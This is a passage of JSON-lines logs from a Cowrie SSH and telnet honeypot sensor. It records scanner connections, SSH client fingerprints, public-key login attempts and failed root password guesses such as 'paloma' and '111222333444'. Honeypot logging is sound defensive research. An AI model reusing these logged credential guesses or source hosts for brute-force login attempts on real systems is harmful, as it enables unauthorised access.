h-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:36:03.175106Z","src_ip":"147.45.199.80","session":"826a5124c3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paloma","message":"login attempt [root/paloma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:36:03.466266Z","src_ip":"147.45.199.80","session":"826a5124c3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:36:04.566001Z","src_ip":"147.45.199.80","session":"826a5124c3ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32992,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d457a5966a1","protocol":"telnet","message":"New connection: 135.148.14.151:32992 (159.203.135.109:23) [session: 9d457a5966a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:36:05.048433Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33912,"dst_ip":"159.203.135.109","dst_port":23,"session":"e36b31f1db86","protocol":"telnet","message":"New connection: 135.148.14.151:33912 (159.203.135.109:23) [session: e36b31f1db86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:36:07.064309Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.253.153.83","src_port":45150,"dst_ip":"159.203.135.109","dst_port":22,"session":"7702e26ef64f","protocol":"ssh","message":"New connection: 47.253.153.83:45150 (159.203.135.109:22) [session: 7702e26ef64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:36:17.746114Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:36:17.753141Z","src_ip":"47.253.153.83","session":"7702e26ef64f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:36:17.759806Z","src_ip":"47.253.153.83","session":"7702e26ef64f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.19139552116394,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:36:23.932831Z","src_ip":"135.148.14.151","session":"6c502f88f71c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48510,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0b8621c5a5f","protocol":"telnet","message":"New connection: 135.148.14.151:48510 (159.203.135.109:23) [session: f0b8621c5a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:36:39.642602Z"}
{"eventid":"cowrie.session.closed","duration":35.11782622337341,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:36:42.181976Z","src_ip":"135.148.14.151","session":"e36b31f1db86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.833773374557495,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:36:42.882063Z","src_ip":"135.148.14.151","session":"9d457a5966a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.129.186.87","src_port":6562,"dst_ip":"10.17.0.5","dst_port":22,"session":"3af1c4b3dad1","protocol":"ssh","message":"New connection: 102.129.186.87:6562 (10.17.0.5:22) [session: 3af1c4b3dad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:11.652092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:11.657803Z","src_ip":"102.129.186.87","session":"3af1c4b3dad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:11.788548Z","src_ip":"102.129.186.87","session":"3af1c4b3dad1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:89:b2:ab:08:bd:50:d6:4a:8e:a0:b4:85:05:65:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcgJ2KP5NDl8WNvogIIl1O8qUsvaZVJWJZdAChORo7V98egvrSvqeMNKjmQUcQ+kzP94YbPowSpZ06/2zUCVn0FeuKPALGTdJ7gmF2dROQ4sY39OuHkiRknEU20YwLsmZ2z6WdIV6rb6XfvyLoEy7IHmYS5bygksejLnU7xGfpJxUqEmwWafUjgugu7annCPyzI6FHCgDSQdf/aKCtXX2kKV7WXoPnOhaCsRChNPV4GJce4d7VNFyOtB6TmHo6K3fT77IX7r2znQ7YNK544xpaYOimdT1ykSY2Nj8JIh7IJ9M4kBxI+6UUtPWhkJi1LTdcxaXMyraRdvFeoEbKYK9VP8l67tHVd0OMLOSIm+mrt4R28Dx3PizEpcISklCwtXVK1YVKNRMZw1CkAMFQnSNNQ3B9KS5P1Wapd2AWIwUbRuZM4Xs0Lxs2pIM9r5jT5FDz0wUavYftcmxBTZwdvBeBKIblSDWK4lj9M1091iTValNHxFwDBARVa4oabN3/Uzy3heB4S8kU7qu/KMqcsjMt+qJrcS4mJ10Ws62VU+MLoCxzj0DHauXb0Dx+D5JaIxBEBMJeLbN28wCiriQZvEpNf/FPA+FHWgdHngQKgwaogLFC22CraLZaVcs4SNg0n/S0j7m1KC9xCfrVyid8/o5Jkm+PL6ZNeUbOvC4I+Ov8rQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:89:b2:ab:08:bd:50:d6:4a:8e:a0:b4:85:05:65:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:12.403902Z","src_ip":"102.129.186.87","session":"3af1c4b3dad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:89:b2:ab:08:bd:50:d6:4a:8e:a0:b4:85:05:65:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcgJ2KP5NDl8WNvogIIl1O8qUsvaZVJWJZdAChORo7V98egvrSvqeMNKjmQUcQ+kzP94YbPowSpZ06/2zUCVn0FeuKPALGTdJ7gmF2dROQ4sY39OuHkiRknEU20YwLsmZ2z6WdIV6rb6XfvyLoEy7IHmYS5bygksejLnU7xGfpJxUqEmwWafUjgugu7annCPyzI6FHCgDSQdf/aKCtXX2kKV7WXoPnOhaCsRChNPV4GJce4d7VNFyOtB6TmHo6K3fT77IX7r2znQ7YNK544xpaYOimdT1ykSY2Nj8JIh7IJ9M4kBxI+6UUtPWhkJi1LTdcxaXMyraRdvFeoEbKYK9VP8l67tHVd0OMLOSIm+mrt4R28Dx3PizEpcISklCwtXVK1YVKNRMZw1CkAMFQnSNNQ3B9KS5P1Wapd2AWIwUbRuZM4Xs0Lxs2pIM9r5jT5FDz0wUavYftcmxBTZwdvBeBKIblSDWK4lj9M1091iTValNHxFwDBARVa4oabN3/Uzy3heB4S8kU7qu/KMqcsjMt+qJrcS4mJ10Ws62VU+MLoCxzj0DHauXb0Dx+D5JaIxBEBMJeLbN28wCiriQZvEpNf/FPA+FHWgdHngQKgwaogLFC22CraLZaVcs4SNg0n/S0j7m1KC9xCfrVyid8/o5Jkm+PL6ZNeUbOvC4I+Ov8rQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:12.407656Z","src_ip":"102.129.186.87","session":"3af1c4b3dad1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:e6:e1:5d:2f:46:98:fe:82:06:f4:e8:27:96:66:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqrFGJRvIkUSR45vMIQqMxwLG2HAs5IDOG6RUuXWnxkFeDY6V1X0DLU/VJQMj93AVE5lLr8I4E9f3JoaEeaZyWnDxJhkJYhC9wMYrbxkTzsv7Lfc+R2bfqyEbRuSE589Z7/47dm059sL7Hz3KcQPHhTX/6vkTxL8E7UW/dA2EQ5Jbg52xchzE4cWsxnviFu282ca8qSfY9tikSV42hfFYlgUhnv00MNU7e8HHmjC/YPU5wrJOLSr50IPOFKVz4EOtv5PjVGTYHPubsv1wek1mPPPgPAZEGj7x/kN49zGSsHs4JdWeAI1qkD9rdzAVJFmWFwX+fVdNtLOPnGxCykL2sbIc/H3Tqsu9FRAiCxU4sYJJY/h2ykML3QRpdzoxcu5yHczx2MKLVQwxkG37Ir/Zd6tQMUTCc0C3zWNYiEPcQ7x8KhU6SmEDPgNDJw7of8LhTKT9wrz0KvBKEpRicNCRo2BNw4LuWpAp5rwaQXkSVOSQI8YsKuZ7ikjgM98pOjQTGh5dASsFkVoxXrQRn0zPkNoweXcl19r6pr8gF0hG3w3hbNKOHYBuuJqOt1hj1ewas5Ci89sk24E2X+DMC4a895EGUyzAR5USt+ANttpL/f4G1JJD/uz7SvW70RnJYapDDq5ATPO/h4Ov9ZsgvAgCXeODlbVGkBo/gHfu78hwEFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:e6:e1:5d:2f:46:98:fe:82:06:f4:e8:27:96:66:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:12.539913Z","src_ip":"102.129.186.87","session":"3af1c4b3dad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:e6:e1:5d:2f:46:98:fe:82:06:f4:e8:27:96:66:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqrFGJRvIkUSR45vMIQqMxwLG2HAs5IDOG6RUuXWnxkFeDY6V1X0DLU/VJQMj93AVE5lLr8I4E9f3JoaEeaZyWnDxJhkJYhC9wMYrbxkTzsv7Lfc+R2bfqyEbRuSE589Z7/47dm059sL7Hz3KcQPHhTX/6vkTxL8E7UW/dA2EQ5Jbg52xchzE4cWsxnviFu282ca8qSfY9tikSV42hfFYlgUhnv00MNU7e8HHmjC/YPU5wrJOLSr50IPOFKVz4EOtv5PjVGTYHPubsv1wek1mPPPgPAZEGj7x/kN49zGSsHs4JdWeAI1qkD9rdzAVJFmWFwX+fVdNtLOPnGxCykL2sbIc/H3Tqsu9FRAiCxU4sYJJY/h2ykML3QRpdzoxcu5yHczx2MKLVQwxkG37Ir/Zd6tQMUTCc0C3zWNYiEPcQ7x8KhU6SmEDPgNDJw7of8LhTKT9wrz0KvBKEpRicNCRo2BNw4LuWpAp5rwaQXkSVOSQI8YsKuZ7ikjgM98pOjQTGh5dASsFkVoxXrQRn0zPkNoweXcl19r6pr8gF0hG3w3hbNKOHYBuuJqOt1hj1ewas5Ci89sk24E2X+DMC4a895EGUyzAR5USt+ANttpL/f4G1JJD/uz7SvW70RnJYapDDq5ATPO/h4Ov9ZsgvAgCXeODlbVGkBo/gHfu78hwEFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:12.543442Z","src_ip":"102.129.186.87","session":"3af1c4b3dad1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:86:82:94:fe:59:b0:4f:bd:40:0a:7c:52:83:55:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFUP3wz4Y3yE+vLBVI61nlwkY/Q9/IGEqjhTanOzSEHhX2Lu0Ff1c/LjZS3TMupZjAuu7P0MOQszXSgSPJZ/6LuJzyje4nFQEC+8DkMU+FBTxZ/EnsiIcJyUKTLstin1W8Ip4nnv0ntr6Jqc292i9mMZtdkpAYC26zKzCGLpEO95Ejr5RyDdRvH1SxOHrTpH7rAdkx3XGfKMYsaucF2XyW5BhT8uh4svmsm0/j7aVt0B7lKRYlrniZmeYNsVd9ZqHuw3GJgitMa7HH5WMvRVaLxKnIAPc3sQhu6Wy3FQtj1c+Sg2i/h7gTaMfML7doL8bYTVt5fAeGiHcHNbLjN5Ol","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:86:82:94:fe:59:b0:4f:bd:40:0a:7c:52:83:55:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:12.671541Z","src_ip":"102.129.186.87","session":"3af1c4b3dad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:86:82:94:fe:59:b0:4f:bd:40:0a:7c:52:83:55:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFUP3wz4Y3yE+vLBVI61nlwkY/Q9/IGEqjhTanOzSEHhX2Lu0Ff1c/LjZS3TMupZjAuu7P0MOQszXSgSPJZ/6LuJzyje4nFQEC+8DkMU+FBTxZ/EnsiIcJyUKTLstin1W8Ip4nnv0ntr6Jqc292i9mMZtdkpAYC26zKzCGLpEO95Ejr5RyDdRvH1SxOHrTpH7rAdkx3XGfKMYsaucF2XyW5BhT8uh4svmsm0/j7aVt0B7lKRYlrniZmeYNsVd9ZqHuw3GJgitMa7HH5WMvRVaLxKnIAPc3sQhu6Wy3FQtj1c+Sg2i/h7gTaMfML7doL8bYTVt5fAeGiHcHNbLjN5Ol","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:12.676277Z","src_ip":"102.129.186.87","session":"3af1c4b3dad1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:3e:04:f5:1e:bd:a4:6c:2e:1b:9b:a4:96:41:ad:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCca72/QvcEZ2QqErmbXgfICEy4Ho8/yPRhFnDxqSQJ8sWjooygG3kPQawUA9TJduqfNJ6MAOCKZSGMzXLZ/TaaQksVoBQrYytrGBw8i2NfX7e3ntbye7Dz7nvAkAbLzozFYh2aHS1csGT050EL/FrDlHsNSLcf9bnGw8/CAEIsXyJzpWlQ/1HuAAcsZ2z7ez1RjOmOKS347fSmdafAgDz0V3j+tIz3c91BFlfqshyqJ3Axe6KbId1VqygHTvHw1MEH4b9fGldSCi6W1VbvoIRLAOxeL5nr3NRIX6yOp8P4/hjVt0VB7r3e3Yo0G1mFZ7ZJG4KWn1blVNdP/EAO5RTZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:3e:04:f5:1e:bd:a4:6c:2e:1b:9b:a4:96:41:ad:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:12.805217Z","src_ip":"102.129.186.87","session":"3af1c4b3dad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:3e:04:f5:1e:bd:a4:6c:2e:1b:9b:a4:96:41:ad:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCca72/QvcEZ2QqErmbXgfICEy4Ho8/yPRhFnDxqSQJ8sWjooygG3kPQawUA9TJduqfNJ6MAOCKZSGMzXLZ/TaaQksVoBQrYytrGBw8i2NfX7e3ntbye7Dz7nvAkAbLzozFYh2aHS1csGT050EL/FrDlHsNSLcf9bnGw8/CAEIsXyJzpWlQ/1HuAAcsZ2z7ez1RjOmOKS347fSmdafAgDz0V3j+tIz3c91BFlfqshyqJ3Axe6KbId1VqygHTvHw1MEH4b9fGldSCi6W1VbvoIRLAOxeL5nr3NRIX6yOp8P4/hjVt0VB7r3e3Yo0G1mFZ7ZJG4KWn1blVNdP/EAO5RTZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:12.809645Z","src_ip":"102.129.186.87","session":"3af1c4b3dad1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:5a:c5:76:e6:ca:0e:36:28:ca:4a:41:79:68:2a:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4mMzglsKPu7lpONs5V7n9XcnLRUrceKGxeDcH9SN4JJ1/PsEF7A4p+4mxLKlIcWTHImLPK114YvQ6KaELvd7s2YQvIAzFvRRO4gRX6sODIkzFEn8jiR/BrluBSTM0vFHP/MW7QFK9J49tMJIGVQT1MWvK29bvBCD/ndC3oDVNorggHeXkl1LHp4gpUCRa/o7o8b4n15ty61q7IZVaFu6llIw6BMNeR6exEhCJOrNQGwYUkhWoSxOOwUa6Q1O//gyuJWSCTYaSRqiVUOorzPfJFAQJsVzmZqK15rzLNYxp/H/YjvgNLhiE/WeGcmsyybZ5H7p/gqE1TQBXkgHkO/FhRHbz+ObG4dGWEyzSfEQeoOKQtNnsdgKk4O294z7cbxieHTgrwZwaHgsFmOUsrUeQMFNcI3LBNuhcgfwPSZbtcAUsWQ8IvCLoNMbB7rZ+fNiTuJ2mmJyCscmLh51QtA6ug9aSoNY9TVuoMAeRQsg1HfCq15qCWA5/5rmDVqigc2bj7P/9VII1Oc/qBBSYdeP5wTUuwy/iuwdzpC+JAX4QB95WmifrIzeLU4LOR0vh1JAMh89FENpIG8I7/gq9JblkS+pxmbvGEW+xLKx2MTpbJwRtQGOclmnc+Zmh78VOvm2zmce/PCZ5HOFRlTfXOzyg7jlzLkD0Q9244VfeEu/sJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:5a:c5:76:e6:ca:0e:36:28:ca:4a:41:79:68:2a:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:12.941473Z","src_ip":"102.129.186.87","session":"3af1c4b3dad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:5a:c5:76:e6:ca:0e:36:28:ca:4a:41:79:68:2a:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4mMzglsKPu7lpONs5V7n9XcnLRUrceKGxeDcH9SN4JJ1/PsEF7A4p+4mxLKlIcWTHImLPK114YvQ6KaELvd7s2YQvIAzFvRRO4gRX6sODIkzFEn8jiR/BrluBSTM0vFHP/MW7QFK9J49tMJIGVQT1MWvK29bvBCD/ndC3oDVNorggHeXkl1LHp4gpUCRa/o7o8b4n15ty61q7IZVaFu6llIw6BMNeR6exEhCJOrNQGwYUkhWoSxOOwUa6Q1O//gyuJWSCTYaSRqiVUOorzPfJFAQJsVzmZqK15rzLNYxp/H/YjvgNLhiE/WeGcmsyybZ5H7p/gqE1TQBXkgHkO/FhRHbz+ObG4dGWEyzSfEQeoOKQtNnsdgKk4O294z7cbxieHTgrwZwaHgsFmOUsrUeQMFNcI3LBNuhcgfwPSZbtcAUsWQ8IvCLoNMbB7rZ+fNiTuJ2mmJyCscmLh51QtA6ug9aSoNY9TVuoMAeRQsg1HfCq15qCWA5/5rmDVqigc2bj7P/9VII1Oc/qBBSYdeP5wTUuwy/iuwdzpC+JAX4QB95WmifrIzeLU4LOR0vh1JAMh89FENpIG8I7/gq9JblkS+pxmbvGEW+xLKx2MTpbJwRtQGOclmnc+Zmh78VOvm2zmce/PCZ5HOFRlTfXOzyg7jlzLkD0Q9244VfeEu/sJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:12.945740Z","src_ip":"102.129.186.87","session":"3af1c4b3dad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:13.076554Z","src_ip":"102.129.186.87","session":"3af1c4b3dad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.174190521240234,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:14.816666Z","src_ip":"135.148.14.151","session":"f0b8621c5a5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35494,"dst_ip":"159.203.135.109","dst_port":23,"session":"da400b44cafb","protocol":"telnet","message":"New connection: 135.148.14.151:35494 (159.203.135.109:23) [session: da400b44cafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:18.146325Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":55342,"dst_ip":"10.17.0.5","dst_port":22,"session":"11cdcb72277a","protocol":"ssh","message":"New connection: 147.45.197.250:55342 (10.17.0.5:22) [session: 11cdcb72277a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:36.440238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:36.445067Z","src_ip":"147.45.197.250","session":"11cdcb72277a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:36.538729Z","src_ip":"147.45.197.250","session":"11cdcb72277a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111222333444","message":"login attempt [root/111222333444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:36.819638Z","src_ip":"147.45.197.250","session":"11cdcb72277a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43870,"dst_ip":"159.203.135.109","dst_port":23,"session":"999289308389","protocol":"telnet","message":"New connection: 135.148.14.151:43870 (159.203.135.109:23) [session: 999289308389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:37.401025Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:37.914827Z","src_ip":"147.45.197.250","session":"11cdcb72277a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46080,"dst_ip":"159.203.135.109","dst_port":23,"session":"22297cd17ede","protocol":"telnet","message":"New connection: 135.148.14.151:46080 (159.203.135.109:23) [session: 22297cd17ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:40.471883Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47022,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c3e5a712fc1","protocol":"telnet","message":"New connection: 135.148.14.151:47022 (159.203.135.109:23) [session: 4c3e5a712fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:37:42.601685Z"}
